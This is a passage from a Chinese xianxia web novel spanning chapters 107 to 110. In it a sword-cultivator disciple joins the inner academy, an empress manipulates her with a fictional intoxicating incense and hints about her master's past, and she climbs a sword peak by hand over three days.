回头一看,正是一双含笑的琥珀色眼睛,封澄惊喜道:“师兄,好久不见,这几天你去哪里了?” 来者正是寸金,自从那日拥雪饮酒后,封澄再没见过他,寸金脸色笑意和煦:“出去与姜师妹切磋,不防受了伤,脸上有些不好看,便没去叨扰。” 顿了顿,他道:“不说这些,猜猜今年的内院学生有几个?” 封澄低头想了想。 外院大比每年都有,内院却不是每年都会收学生,常常一连数年都无一修士入选内院,看今年寸金的样子,今年进去的人似乎不少。 封澄道:“几个?” “三个。” 封澄登时瞪大了眼睛。 许是这副模样令寸金有些忍俊不禁了,他道:“不过从内院大比中选入内院的只有一个……冯先生来了,要公布人选了。” 果然,有一中年男子上前,只见其清了清嗓子,众人便齐齐寂静下来,不知是不是封澄的错觉,她似乎觉得这位男子向她的方向看了一眼。 目光有些复杂。 她不确定地挠了挠后脑勺,随后心很大地揣紧了袖口,老实等着榜单的公布。 上面冯回清了清喉咙,从众人中扫了一眼,随后,朗声道:“此次外院大比结束,内院当选……陈还。” 封澄挑了挑眉,并不意外。 寸金观摩其神色,道:“其实她的名次并不很高。” “外院大比的实派任务是中水灭门案,王铭一众查得不好,上去便被魔气骇伤,陈还赶去时,案子已经王铭丢给了中水的天机所,从结果来看,中水一组的大比是不得分数的。” 封澄懒洋洋打了个哈欠:“好嘛,中水案子没解决?哪天再去看看,人进了内院就行,别管是什么名次啦——陈还去内院修符,不知盛老头要抹多少伤心泪了。” 寸金道:“并不是,陈还是被阵修选中的。” 封澄倒是睁大了眼睛。 “阵修?” “阵符总有相通之处,何况收她的乃当代大能,赵年,”寸金微笑道:“就是眼下的天机院院长……不过也在内院执教就是了。” 上面冯回似乎又说了什么有的没用的,待散去后,寸金也回红班去忙了,眼下可谓是几家欢喜几家愁,封澄几度搜寻,却不见陈还踪影,正奇怪间,忽然窥到一灰白的熟悉背影,她登时眼睛一亮,张口欲喊,却见盛德林面前站着一圆脸少女。 正是她方才不见的陈还。 陈还似乎掉了些眼泪,盛德林拍着她的肩膀,脸上皱纹都一条一条地舒展开了:“年院长慧眼识 珠,断定你乃阵修之才,该高兴才是啊。” 老者虽有不舍,更多的却是送陈还奔向远大前程的期许:“从此以后,便与那小疯子互相扶持些。” 小疯子是谁,不言而喻。 互相扶持二字,又是什么意思? 进内院? 虽说不少人都拿挂名的内院弟子看她,可若真追根问底,封澄是从未将自己往这东西上靠的。 原因无他。师尊闲云野鹤一位,常居鸣霄室闭门不出,和内院修士没关系。她一日拜在赵负雪门下,也就一日和内院没关系。 骤闻如此消息,封澄登时心跳一滞,她登时像是被当头砸了一锤似的,心乱如麻,压低脚步,悄悄退去。 她也进了内院?什么意思? 仿佛被凭空的恐惧当胸攥住了一样,封澄什么也顾不得想,只想一路小跑奔回鸣霄室,揪着赵负雪问个明白。 白日里,赵负雪大多时候是在书房,封澄径直推开内院书房的门,弯腰喘着粗气,抬眼,正见赵负雪素白的背影。 他早在封澄推开院门之时便察觉到她的走进,赵负雪头也没回,淡淡道:“何事这么匆忙。” 封澄直来直去道:“我进内院了?” 赵负雪的笔在半空中顿了顿,旋即又笔走龙蛇地落下去:“你知道了。” 身后噔噔两步,紧接着便是一掌拍在了书案上,震得砚台一蹦,紧接着便是一双年轻而怒火盈然的眼睛逼视过来:“你为什么要让我给别人做徒弟!” 赵负雪静了一静。 他只是淡淡地掀起眼皮来,定定看着封澄。 平心而论,他试想过封澄骤然得知如此消息的种种反应,平淡的、惊喜的、斗志昂扬的、唉声叹气的,都在他的预料之中。 而独独这个别出心裁的想法,是他绝对想不到的。 他叹了口气。 “回去,你动气了。” 这句话仿佛将封澄的指控认了下来,封澄的怒火烧得更甚,她几乎当即便红了眼睛;“你不要我,只管说一声,我打着包就回长煌,保管不回头看鸣霄室一眼的!为什么要叫我拜别人!” “……并无此事。” 赵负雪说什么,明明是控诉,越说却越委屈,封澄眼眶发酸,她又一掌砸在书案上,强行将眼泪逼了回去,她从腰间一阵摸索,摸了当时赵负雪递给她的玉牌,啪一下拍在书案上:“东西给你!我才不稀罕去什么内院,走了!” 她一擦眼泪,把身上校服往桌上一甩,谁料近来长了个子,衣服不合身了,一甩还没甩动,她僵在半路,尴尬地顿了顿。 一只手拉上了她脱到一半的外裳,赵负雪站起身来,轻轻地叹了一口气。 “今年冬日的衣裳才备齐,”他道,“你又要往哪里去。” 封澄眼睛激得一红,开口就要怒,谁料头上却被不轻不重地敲了一记,赵负雪叹着气,用力揉了揉她的发顶,只把人揉搓得眼眶越发红了。 “我入内院执教了,”他道,“成日想什么乱七八糟的。” 封澄霎时睁圆了眼睛。 第107章 第107章弦外之意 新年前后,便是该入内院的日子了。 封澄这些日子很是忙碌,鸣霄室从前是不过年的,于是偌大一座房子里,竟然连过年的东西都不见一个,封澄觉得十分荒谬:“那之前过年的时候,师尊在做什么?” 赵负雪垂眸,挑了挑炉上香灰。 “修行,偶尔会去夜宴露一面。” 封澄不赞同地撇了撇嘴;“这哪里像过年啊,师尊,至少要放个爆竹,吃个年夜饭嘛。” 香炉袅袅地往外飞了几缕青烟,封澄眯着眼睛,心中早下了决断:“这样吧,师尊安心等着,今年一定要过个热闹的年。” 他对年节的热情相当一般,对新年的印象,只是在行经某条街道时,偶尔抬头迎上的绽裂花火。 然后就会提醒他,又无望地寻了一年。 少女的手在他面前轻轻挥了挥,似乎很是不满他的走神,赵负雪回过神来,淡淡道:“随你。” 封澄嘟囔道:“我方才说的分明不是这些……师尊,我是说,新年前,我想再去中水一趟,总觉得有些担心啊。” 似乎是想到了什么,封澄连忙举手:“不是我一个人去啊,师尊放心,有人和我同去的,我同祝先生打了招呼,连带着灭门案也要一起查。” 赵负雪抬手拨香炉的手霎时定下来了。 他披着大氅,缓缓地站起身来,长长的睫毛霎时在眼下投下一片阴影:“你与谁一道。” “寸师兄啊?他回内院了,近来只有他无事要忙,正巧他也熟悉中水,索性一起去看看了。” “何时可归?” “年前肯定就回来了,我还要和师尊一起过年呢。” 封澄自顾自地说着,一时间竟没注意到赵负雪的脸色有些阴沉,她又喋喋不休地说了些话,忽然间意识到赵负雪已经很久没有开口了,一抬头,对上赵负雪静静凝视过来的双眼。 “……那个,师尊,我刚才说的……?” 赵负雪平静道:“新年将至,外面纷乱,你与寸金两个孩子单独出门,我不放心。” 封澄的嘴角登时往下一垂,开口就要赌咒保证,谁知赵负雪不紧不慢地跟上了后面一句:“你与寸金走得很近。” 封澄哈哈一笑;“师兄人多好啊,宽厚温和,人又可靠,懂的东西也很多。” 赵负雪淡淡地瞥了她一眼,甩袖,转身离去了。 封澄捧着要擦的器皿,专注地擦个没完,嘴上也一刻不曾停歇,等到她终于说累了,转头一看,哪里还有赵负雪的人影? 她丈二和尚摸不着头脑,挠了挠头,随后一甩抹布,干脆没往心上放。 谁知等了半日,她未见赵负雪,封澄心中已有了几分不安,心中忐忑不安地睡下后,次日赵负雪仍然没有出现。 “师尊腿脚不便,平日里连院子的门也不出,能跑到哪里去?” 屋漏偏逢连夜雨,封澄心急如焚之时,上头却递了一张明黄的旨意下来。 冯回小心打量着封澄,有些讨好道:“前些日子,姑娘于神水村的举动,惊动了上面的娘娘,姜娘娘特意下旨来,宣您入宫一叙。” 赵负雪不知去向,封澄本就心乱如麻,此时又不知从哪里冒出个奇怪的姜娘娘来,登时把她的三分火意激成了七分,她手一甩就把人往鸣霄室外关:“我师尊人没了,眼下什么也顾不上,不见!” “那个……”冯回尴尬道,“封姑娘,这不能不见啊!这是咱们皇后娘娘的旨意,违背了不好听。” “……” 修士从来只认天地,不认人皇,她是打算做天机师了,可又不是卖给朝廷了,皇后娘娘又不能降雷劈死她。 封澄不管,只把一个老头往门外挤,冯回叫苦不迭。 他怎么就忘了,封澄在拜入赵负雪门下的当日,还敢挟持姜徵公然威胁,眼下不过是在赵负雪面前乖巧了几日,他怎么就忘了这是尊如何不听管教的煞种呢。 “等等等等!封姑娘,即便您不顾自己的名声,怎么说也要稍微顾及一下赵先生嘛,他一生清名,有个大逆不道的徒弟,传出去可让他怎么做人嘛。” 封澄关门的手一顿。 冯回见有戏,眼睛登时一亮,他趁热打铁道:“况且姜娘娘为人最为和善,赵先生前几日还去拜访过的。” 猝然间,封澄便想起了那日赵负雪穿着礼服、佩着长剑的模样了。 “那日出门,原来是见这位姜娘娘去了吗?”封澄默默地想,“……身体不好,为什么还要出门见人呢。” 顿了顿,封澄怀着莫名的心思,道貌岸然地清了清嗓子:“……好吧,我去。” *** 按理来说,入宫见贵人娘娘是要穿正装礼服的,封澄无心收拾,只催促着冯回快些走,冯回见了无法— —这祖宗肯出门已经不容易了,别的也就不强求了。 封澄忐忑不安地坐上了辘辘马车,车子向宫门驶去。 待到了朱紫的宫门前时,马车停了下来,紧接着,便有两个白衣宫女上前来,挽着她的手,送她坐上了一顶小轿子,小轿子又行了些时候,封澄越等越想翻白眼,心想:“小小一座宫室,还能困住个修仙的?御剑过去就是了。” 这么想着,她心念一动,引剑出鞘谁知腰间长生却一动不动,封澄有些愕然,抬手又引,长生却像是骤然哑了似的,任凭她千呼万请,仍是不肯出鞘。 时至如此,封澄才后知后觉地发现,原本充盈在经脉里的灵力荡然无存。 在宫中,竟然是无法用出灵力的,封澄心中微微一紧——进宫这一举措,似乎是太过冒失了。 人已经到了宫室前,便再无后退的机会,封澄两眼一闭——他强任他强,清风拂山岗,管他来者善不善,见招拆招就是了。 可被人从小轿上请下来时,封澄心中艰难建立起的斗志一下子便被狠狠的打击了。 入目之地寸寸森然,人人屏息凝神,寂然无声,一堂之中数十之人,竟然连大些的呼吸声都听不到,封澄猝然抬起头来,目光直直地与座上女人相对。 女人穿着一身鎏金绣凤的广袖长袍,珠光宝气,威严明艳不可方物,一双凤眼妩媚动人,可看向人时,便有着无可躲避的、捕猎者的目光。 当今的大夏皇后,姜允。 姜允微笑着道:“终于让本宫见到你了,封澄。” 封澄警惕如同误入了他人领地的小兽,浑身的毛都齐齐地炸了起来,她年岁尚小,虽有几分天生野蛮的机灵,却还没学会虚与委蛇的笑脸:“把我叫来做什么?” 说话间,封澄本能地调动着周身灵力,逼着灵流不断冲击那道若有若无的禁锢,姜允微笑着,一抬手,一旁侍立的宫人寂然无声地齐齐退下。 偌大的宫室森严高耸,姜允微笑着,从高台上缓缓地走了下来,身上的珠串声丁零当啷。 “不必白费力气了,”姜允道,“这宫中并不只有你一人是修士,过去的,现在的,将来的,无数人试图冲破这片禁锢,可你知道结果为何吗?” “……所有人,所有的修士踏入皇宫之中,都变成了,身无灵力的凡人,无一例外。” 封澄道:“少说废话,你要我来做什么?” 姜允微笑:“前几日,洛京中流传了一段十分有趣的留影……姑娘想必有所耳闻。” 封澄不躲不闪地直视着她:“是你把留影放出去的。” 这段留影的流传,令封澄一度登上了洛京的风口浪尖,她几乎成了罔顾法度、好大喜功的天机逆徒。 封澄抬起头:“是你动的手。” 谁知姜允却轻轻地笑了,唇边勾起的弧度美艳动人:“啊,留下这段留影的人的确是本宫,可将留影散播出去的,却不是本宫。” 顿了顿,姜允道:“你想知道是什么人把留影散播出去的吗?” “是你的好师尊。” 刹那间,封澄周身的血液冰凉彻骨,她怔怔然站在原地,心中想;“这女人在胡说八道些什么东西?” 口中封澄却道:“你胡说八道。” 姜允笑了:“前几日,在你关禁闭之时,尊者曾来拜访过本宫,你知道的吧?” 从姜允口中得出的事实令封澄如同一根石桩子一般定在了原地。 “尊者来请本宫做一件事情……看在当年情面上,我答应了。” “做了什么事。” 姜允轻飘飘地碾碎了脚下的一粒雪白珠子。 “秘密……这是本宫与他的私事。” 这句“私事”却骤然令封澄的心底不是滋味起来,她微微低头,敛下眼中异色:“既然是你与师尊的私事,有和我有什么关系?” 姜允微笑:“当然是与你有关,才会叫你来……封澄,本宫拿过来人的眼光奉劝你一句,你不该与赵负雪扯上关系,一分一毫都不该有。” 她骤然捏紧了拳头。 “出于本宫与尊者的交情,我也不愿看到他被你拖到无法回头的地步。” 一句两句,终于将封澄心中怒意点燃。 “口口声声交情,我倒是不知道,娘娘与我师尊到底什么交情,能替他操心起徒弟的事情来。” 此言一出,姜允竟然笑了。 “哎呀,生气了。年轻人,性子要耐得住些。” “你年岁太小,又常年居于长煌大原那等荒僻之地,洛京之事,想来是无人同你道来。” “我虽长你师尊几岁,却也算得上是同龄之人,姜氏赵氏交情匪浅,少年情谊,现在想想,也是弥足珍贵之物。” 她微微一笑,将封澄细微的神色变化收归眼底。 “只是可惜,本宫出嫁后,赵公子便孤身离京,游历四方去了,现在想想,也不无遗憾……听说他至今未娶。” 话虽未说全,可其中弦外之意,已经昭然若揭了。 姜允后来又说了什么,封澄已经一句都听不进去了。 第108章 第108章睡着了 昏昏暗暗的大殿中,炉中青烟平静地流淌。 封澄从未想过“师娘”这个角色本来也是应当出现在她的生活里的。 修行之人虽性情淡泊,但又不是净了身,男女之事无甚奇怪,凭赵负雪那姿色,活到这个岁数还形单影只的才奇怪。 姜允的一番惊论,如同天降的霹雳般惊醒了她,她茫然抬起头,透过晃动的烛光看向姜允的脸。 她的脸隐在珠串下,红唇下隐着一丝勾魂夺魄的笑意,是个开到极盛的美人。 恍惚间,有些事情在封澄的心底有了答案。 难怪赵负雪孤身至今。 年少时遇见这样的美人儿,想来是所有人都无法忘怀的。 深吸一口气,封澄平静道:“那皇后娘娘,你知道我师尊去哪里了吗?” 姜允的唇角笑意更浓,她道: “长辈自有长辈的事情要去做,阿雪不曾同你道来,你即便问了又有何用?去添乱?” “你只是做徒弟的,不恪守自己的本分,打探师尊的去处,又是什么道理。” 昏暗大殿的壁砖仿佛能反射她的话音一样,姜允说的话带着数不尽的回音,在封澄的脑中嗡嗡作响,只震得她头痛欲裂,连带着殿内的香气也令她作呕。 “嗡——” 她抿紧了下唇。 看着封澄发白的脸色,姜允终于抬了抬下巴:“瞧你脸色似乎不太好,也不留你久坐,今日叫你来,不为别的,只是徵儿在天机院,随身灵器带的不够,听说封姑娘也进内院了,姑娘便替本宫把东西交给徵儿。” 她慢慢地走下来,如同一道不可撼动的血红高山,巍峨而不可动摇。 储物袋封着禁制,描着不知哪家大修所绘禁制,姜允抬起她的手,将储物袋放在她手中,意味深长地拍了拍。 “你的剑穗,样子不错。” 看着封澄的背影有些踉跄地离去后,姜允皱着眉头,重又坐回到了殿上,有一苍白的手附上来,托着一杯热气熏腾的暗色茶水。 “本宫便不明白了,”她眼也不抬,任凭那茶水举着:“一个丫头,也值得你过来盯着……赶紧把这香撤了去。” 她不接茶水,来者也不干举着,随手便放在了一旁的几案上。随后舔了舔嘴唇,便笑道:“啊,那可不是寻常香,香用得不好,会出事的。” 姜允眼神一厉。 她冷笑道:“你若是嘴馋,想尝尝年轻姑娘的滋味,本宫自会给你挑出干净曼妙的来,这人有用,你不能下手。” “娘娘与在下乃一条绳上的蚂蚱,娘娘不让动的人,在下也不会动,”他从容:“只是叫师兄发觉娘娘觊觎他的徒弟,还拿长醉出来,不知在下与娘娘,经不经得住师兄一怒。” 那人微笑着转过头来,面上苍白面具隐隐有不详的黑光流窜。 竟是温不戒。 他珍重无比地将残香笼到手心,香灰 上还带着几分未熄的火,可温不戒竟像感觉不到一般。 “那也是他自找的,”姜允冷笑道,“我姜允的面子岂是这么好拂的。放着徵儿不要,收个长煌大原里的丫头为徒,岂不是打了本宫的脸。” “那是师兄不知好歹了,”他微微一笑,“娘娘,药茶再不饮下,您也该“醉死”了。” 姜允冷笑,抬手接过茶水,一饮而尽:“你向本宫保证过,这些剂量,赵负雪绝对不会发觉。” 温不戒微笑:“这香对他没用,再多些也不会发觉。” 这话倒是令姜允有些意外了,她的手捏着茶杯,半晌,轻轻放下:“这世上竟有人能逃出长醉的香气?” 温不戒道:“啊,是可以的,天生剑骨极正,诸邪见之溃散,区区长醉,呵。” 姜允眼神一凛,猛地起身,劈手将桌上茶杯砸了下去,霎时啪地一声,她冷笑道:“天下的好事竟能凑到一人身上去,偏偏这人还不为本宫所用!” 茶杯在温不戒的面前砸出飞溅的瓷片,在暗红的地砖上分外显著,温不戒动也不动,任凭碎裂的白瓷砸在他的脚面。 片刻,他缓缓垂下身子,捡拾地上的碎瓷片,墨黑的长发垂在他苍白修长的手上。 他垂眸道,“可还有一事,为在下不解。” 姜允懒懒道:“说。” “她对着师兄一求证,娘娘不就露馅了吗。” 闻言,姜允哈哈一笑。 “温不戒,你还是修行不到家。” 温不戒抬起头来,目光温和。 她将两字咬狠了说。 “剑穗。” “她随身佩剑的剑穗,是赵负雪少年时的旧物。” 姜允微微笑了:“剑穗之于剑修,日夜相伴,朝夕共处,是何等亲密之物?一个做徒儿的,即便敬仰师尊,也不至于将师尊旧年的剑穗用在剑上。” 温不戒低下了头。 “莫说本宫今日用了香,即便没用香,她这心头妄念也迟早把人逼疯,一个自取灭亡的东西,早晚能炸姓赵的一脸血——且走着瞧。” 温不戒从容道:“娘娘神机妙算。” 姜允不耐地挥手:“行了,滚下去,听你这口花腔就够恶心的。” 温不戒行了个礼: “是。” 正要离开之际,却听后面又唤了一声。 “徵儿性子孤傲,难免不为痴人所容,”她道,“你在天机院中,多照料她些,若她过得不好,我要你的命。” 说罢,她好像很累似的,道:“关门罢。” 森严的、沉重的门发出轰然的响声,温不戒站在有些发冷的日光下,看着殿门一点一点地合上。 随后轰地一声,关上了。 *** 封澄魂不守舍地飘进了天机院,一旁的陈还正巧路过,打眼一瞧,登时吓了一跳,一把就把人扯过来:“你怎么回事,脸怎么白成这样?” 这么说着,她的手便不容拒绝地摸到了封澄的额头上,封澄蔫搭搭地任她摸着,陈还奇怪道:“怪了,也没有发烧,你感觉怎么样?” 封澄顶着她的手摇了摇头:“有些头痛,大概是外面吹风凉着了,回去睡一觉就好。” 陈还不怎么放心地垂下了手:“你心里有数就好……刚才正找你呢,赵先生回来了。” 登时,原本昏昏沉沉的头痛与莫名的烦躁一扫而空,封澄登时亮了眼睛;“真的?他在哪里!” 陈还爱答不理地努了努嘴:“鸣霄室,听说赵先生独身去了中水,几下把灭门的魔杀了个干净,还带了个遗孤回来……哎,你去哪儿!” 话音未落,封澄已经一溜烟儿似的蹿了出去,哪里还有她的人影?陈还气不打一处来,跺了跺脚,把一粒石子碾得粉碎。 一路小跑,封澄又冲进了鸣霄室,大喘着气推开大门时,正见一人站在院中亭亭花树下。 繁茂桃树一丛一丛地落了白雪,来者听闻她声音,微微偏了偏头,淡淡道:“来。” 封澄什么也不管,迎头撞进赵负雪怀中——她身量虽比从前长了些,但与赵负雪相较,还是矮了足足一个头多,于是抱人只能拦腰抱着。 “师尊,师尊!你去那里了?!怎么一声都不说就走了!” 赵负雪被她撞得有些愕然,他低下头,轻轻地抬起手来,手犹豫片刻,搭在了她毛茸茸的发顶。 小丫头瞧着人憔悴了一些。 他轻轻抚摸着封澄的头发,道:“去得匆忙,本想快去快回,谁知路上耽误了些。” 封澄闷在他怀里用力地摇了摇头:“下次走之前,能不能和我说一声?突然不见,我真的很害怕。” 师徒二人鲜少有如此亲密的时候,赵负雪是心里有鬼,断不可能同她如此亲近,他微微垂下眼,心中却不自觉地想着——原来她做孩子的时候,也会如此恐惧分离。 怎么当时就舍得把他一人留下呢? 赵负雪任由她死死抱着,少女已经大了不少,可抱人的时候,还是用双臂张开死死揽住的姿态,以为这样便能把人锁死在身边似的——孩子似的耍赖皮。 他道:“以后不会了。” 封澄点了点头,又摇了摇头,手却没有松开。 她莫名想起了今日姜允之言,心中有些沮丧。 赵负雪无奈道:“封澄,该松手了。” 封澄还是把人抱着,她的鼻尖埋在赵负雪的衣襟里,贪婪地汲取着他身上的冷香气,闷闷道:“不松开。” 赵负雪本可下手将人推开,可不知为何,竟也没有动手。 “总归就是个孩子。”赵负雪闭眼,“随她吧。” 放任自流的后果,他倒是能担得起。 是夜,封澄久违地没有偷懒回房,而是守在赵负雪的书桌前,老老实实地温习符书,如此之反常,令赵负雪都有些奇怪。 眼瞧着已经过了丑时了。 “今夜为何不回屋休息。”他终于道。 “师尊不也没回去吗?”封澄反问。赵负雪眯眼看了看她,半晌,道:“顶嘴。” 封澄不怕他,她把手往前一推,颓然地趴在书案上:“不知为何,今天根本睡不着,心跳得很快,虽然头疼,却一点儿都不想睡。” 闻言,赵负雪略微沉思。 他抬手:“来,既然睡不着,便来记诵经书。” 封澄:“……” 封澄同他手中的经书大眼瞪小眼地看了片刻,慢吞吞地走过去,坐到了赵负雪的身边。 不知是经书诡异,还是找房负雪身上的香气诡异,封澄坐在赵负雪身边,头一点,一点。 赵负雪的膝上忽然一沉。 他低头看去,只见封澄不知何时倒在了他的膝上,这一会儿已经发出了均匀的呼吸声。 “……睡着了。”片刻,赵负雪哑然一笑。 第109章 第109章你会怎么做呢 出乎封澄的意料,内院的日子来得很快,在年节的气氛包裹着整个天机院之前,内院的入学通知便颁了下来。 封澄的个子一天蹿过一天去,前些日子才做的衣服,转头便小了一圈。她悄悄地站在赵负雪轮椅背后,伸直了脖子,小心地比了比。 师尊头顶上有几片散落的桃花。 她已经能看到赵负雪膝上的书了。 赵负雪仿佛背后长了眼睛,头也不抬地翻过一页,道:“在后面偷偷做什么。” 封澄收回了手,呲着牙笑,绕到了赵负雪的膝前;“从年院长手里讨了对联,今年喜庆,贴上去热闹。” 说罢,她便不知从何处掏了一罐糨糊出来,一路小跑着,便往鸣霄室的门前去了。 赵负雪静静地看着她的身影。 用来贴对子的红纸是市井上最常见的,厚且绵密,摸上去有着绒毛似的触感。 在外游历,赵负雪也曾于年夜迈入贴着红对联的民户中,曲指叩门,触手的便是喜庆的柔软,而热腾腾又喜庆的氛围,也常常因他的到访而突然冷寂。 赵负雪闭了闭眼睛。 外面当啷一声打断了他的思绪,似乎是什么东西倒地的声响,紧接着门外便传来一声叫嚷:“师尊师 尊,换条结实的凳子来!” 赵负雪无奈地摇了摇头,起身,走了过去。 “来了。” 他心头莫名生出几分温暖的异样来。 穷尽年月所求,在此时忽然便长出了一刻满足。 内院的课业不比外院,多以实务为主。内院与外院的陈设大为不同,如果说外院是古朴雅致,内院便是威仪沉沉 ,无论是弟子苑、还是演武场,都透着几分骇人凶色。 封澄与陈还踏入内院之门的刹那,便被其中森然灵力骇得汗毛一炸。 陈还道:“要是让我住在内院的弟子苑里,我一个安生觉都睡不了。” 一旁随行的寸金宽慰道:“内院与外院不同,弟子苑通常只作暂住落脚的休息之处,连课业也并不是必须,一年到头几乎都随着内院修士四处除魔了。” 陈还瞪大眼睛:“那岂不是直接成天机师了!” 寸金笑了笑:“这么说的话也算。” 三人穿过**与摇着雪的树枝向杏堂而去,封澄裹了裹毛茸茸的冬衣——今年的做冬衣的裁缝深得她心,浅鹅黄的外裳上缝着兔绒滚边,衣绣也是女孩子们常见的百蝶穿花,瞧着俏生生的:“什么时候能见到师尊?” 闻言,陈还啧啧道:“今早你从鸣霄室出门的时候没见到吗?” 封澄没理她,寸金道:“剑修大概会在求剑台,我带你去。” 将陈还送到赵年面前后,封澄便跟着寸金走,二人又从花树掩映的杏堂走出,只闻一声唿哨,寸金引剑而出,封澄面露意外神色:“师兄,怎么还要御剑?” 寸金微笑:“作为剑修,你所面临的内院第一课便是,到达求剑台。” 他一袖子荡开,只见层层云雾拨开,有一高耸剑峰立于云台之中——封澄在天机院呆了半年多,竟是第一次知道院中有如此高耸的一座险峰! 随着剑峰露出,寸金眉宇间的笑意荡然无存,取而代之的是冷寂的正色,他居高临下地立于剑上,身后陡然青云雷鸣,封澄一怔,随即反应过来,目中无半分闪躲,反而勾唇笑了,单手掐一剑诀,手指翻转间,腰间玉白长剑腾空而起。 “带路,师兄。” 他踩着长剑,随着一声剑鸣,长剑如同白日闪电般腾云而上,封澄盯着寸金,长生紧随其后,拔升而起。只腾上寸毫,封澄便眼神一凝。 这险峰并非只有表面上的雷鸣风霜,而是在剑峰旁的每一寸,都有着山似的、向下沉沉压下的灵力。 如若修行有成者,经脉通达,大概是能勉强向上走的。 而对于入道至今不过半年的封澄,如此灵力重压,便如同天堑横在面前,几乎压得她头都抬不起来。 第一段拔升的迟缓被寸金收归眼底,他停了下来,寂然浮于封澄顶上三丈处。 “……师妹,上了这座山,剑修之苦途,此后便无终。而如此险峰,于剑修之途,不过微雨毫毛。” 他的声音仿佛从四面八方席卷而来,封澄只感觉到自己的肺都要呼出血气了,意识一恍,只觉一口腥甜从喉咙中涌出,寸金见她唇角鲜血,只当她已耗不住,心中微微地叹了口气,摇头道:“在登临之前,可要想好了。” 登峰之路上不乏天才,也多的是灵力强横的修士,可登上剑峰之人,并不都以灵力见长。 以前辈之论,剑修那颗“剑心”,才是登峰的关键。 如何用手中之剑,登上这座险而又险的剑山? 山峦之上有数万残剑之魂,封澄的耳朵嗡嗡作响,耳中竟是连绵不绝的金戈之声,声声不绝,仿佛在这天地之间求一段回响。 剑之问,问在剑心。 “真可笑,”封澄想,“我明明只是想跟着师尊的尾巴混吃等死,怎么摆了这么大的排场来?” 偏生此时,她却咬牙催动灵力,顶着天堑似的威压,御剑而上: “要回头吗,师妹?” 寸金的脸被雷光照亮,连带着耳边的剑鸣都喧嚣了起来。 话音未落,封澄便猝然抬起了脸,她紧紧地盯着隐没在云端与雷鸣之中的剑峰,眼底露出几分寸金从未见过的异彩。 “是我师尊让你带我来的。” 寸金沉默。 封澄闭了闭眼睛,心中忽然平静了下来。 “我师尊登峰……花了多久?” 寸金一怔,一低头,脸色登时一变。 长生向上拔升了一丈。 这不可不谓之惊骇,寸金登时有些哑然,他收回了手,重新站在了剑上。 “三日,”他正色道,“赵先生登峰,只用了三日。” 封澄咬牙笑了,她道:“三天啊……天纵奇才,不过如此吧?” 寸金点了点头:“天生剑骨,不世出的剑修,除去尊者,还有谁当得起天纵奇才四字。” 忽然间,一道悍然雷鸣轰下,封澄抬起头来,姣好的面容在雷光的映照之下,凭空多了几分森寒的凛然。 “三日之内。”她道,“我也会上山的。” 只闻一声尖啸,长生的剑身猛地灌上了血色灵流,寸金脸色一变,当即便要阻止;“师妹回头,凡事莫要强求!” 可预料之中的反噬并没有将封澄从半空击下,相反而之,长生虽颠簸翻滚,但竟然真的带着封澄踉踉跄跄而前,寸金大骇,还未来得及阻止,便见从山顶一道剑雷轰响而下,封澄仿佛是居于大海中的一叶孤舟似的,直直地向下坠去。 铿然一声。 长生死死地卡在山岩之中,仿佛沉重的锚,将封澄堪堪吊在半空。 寸金提到胸口的心又重重地落了下去,封澄一手抓着长生,另一只手擦了擦嘴角血迹:“师兄,你躲一下。” 不知她要做什么,寸金下意识地向后退了退。 忽然又是一声铿然剑响,竟是封澄翻身上剑,只见一剑踹去,竟硬生生将光滑陡峭的剑峰旁踹出了足以容纳一只脚的坎儿! 寸金见状,目瞪口呆:“等等,你要做什么??” 封澄上去呲牙一笑:“爬山啊。” 寸金道:“不是,等等,你怎么会想像凡人一样爬上去?你是修士啊!” 她踩着那道小坎,又是一剑击去。 “这座山,没有那么高吧?”她空出一只手,抹了抹脸上的血,“御剑而上,动用灵力,剑峰的威压会把我按死在山脚下,若要习惯剑山威压以拓宽经脉,没个一年半载的修行,怕是不行吧?” 她不比赵负雪,自小修行,经脉通达,又是天生剑骨。 三日之内御剑而上,是绝无可能的事 情。 天降雷鸣,封澄长剑一飞,悍然灵力去全然灌注在于雷光之中,她仿佛一只不生双翼的鹰,山风之中,长发飞舞,而双目中却仿佛燃着烈焰。 “人总有些擅长的东西,”她道,“凡人登峰,自然有凡人的路。” 紧接着,她于陡峭岩壁之中一跃而起,紧接着,以长生为辅,竟这般攀岩而上。 光滑的陡壁险之又险,因山风与剑气,露出山体的有不少嶙峋之处,寸金头一次见着这么诡异的登山方式,不光剑心没有,就连灵力也没动几分。 山不可攀,便引剑劈石,路不可行,便开路而行。 可在极长的讶异后,寸金还是轻微地摇了摇头。 封澄的高度,甚至没有头次御剑登山的修士升得高。 “不可行的。”他心道,“如此登山,不说别的,体力便先难以支撑了,更遑论身体的强度。” 这山埋剑无数,山石之上便有剑气,更加以天雷罡风,不以灵力护体,加之御剑登峰,如何能顶得住如此消耗? “你会怎么做呢,封澄。”寸金目不转睛地看着她。 *** 求剑台上,松风冷冷,一人独坐云海之上,此日天气虽冷,却是晴光大好,落雪纷飞。 赵负雪信手抚琴,见素置于琴旁,依稀间,竟有万剑臣服之威。 他垂眸,素白修长的手指置于墨黑琴上,只见霜雪凌然,琴声泠泠。 大致算来,这琴,已经响了两日了。 第110章 第110章师尊在等 寸金呆呆地站在剑上。 在第三日的落日穿透云层之前,封澄距离问剑台,七尺之遥。 三天两夜,不眠不休。 越是往上,风便越静,凝滞的剑气与灵力之压下,连空气都被挤压到滞缓。 山路崎岖,又多有只能攀援的险处,封澄前些时候还可以用长生做支撑之物,也能在几处狭小的落脚之处歇脚,可到了后来,稍有不防便会被剑峰毫不犹豫地甩飞出去,凶险之时,封澄几乎一路滚到了半山之处,几乎将寸金的心脏生生骇出来。 可还未等他下去,封澄又一点一点地抬起了脸,露出了一双依旧明亮的双眼。 寸金颤声道:“师妹,不强求的。” 他看见跪在剑峰嶙峋坚石上的封澄张了张嘴,似乎想要说什么,可她干裂的唇几度开合,却什么都没有说。 方才滚下山崖之间,她似乎出现了幻觉。 依稀间,竟回到了赵负雪站在长煌大原时,从满地天魔的尸身中,向她伸出手那一刹。 封澄唇角微不可察地一勾。 当时她一身血泥地跪坐在天魔的血中,满心杀意尚未平息,抬眼望见赵负雪的刹那,心中却鬼似的悄悄冒出了一句话。 “如果我和他一样强的话,能站在他面前吗?” 当时赵负雪怎么说的? 他说:“跟我走,去洛京。” “和你走,有什么好处?” “洛京繁华,有粮,有药,可保你族群安定,平安度过此冬。” “……我不去洛京,也可以保所有人平安。”封澄强调了“我”这个字眼。 赵负雪看着她,线条极美的眼睛冷淡且平和地映着她的狼狈:“你会变强。” “……” “能和你一样强么。” 野性未尽的小崽子毫不躲闪地直直看着他。 赵负雪似乎笑了。 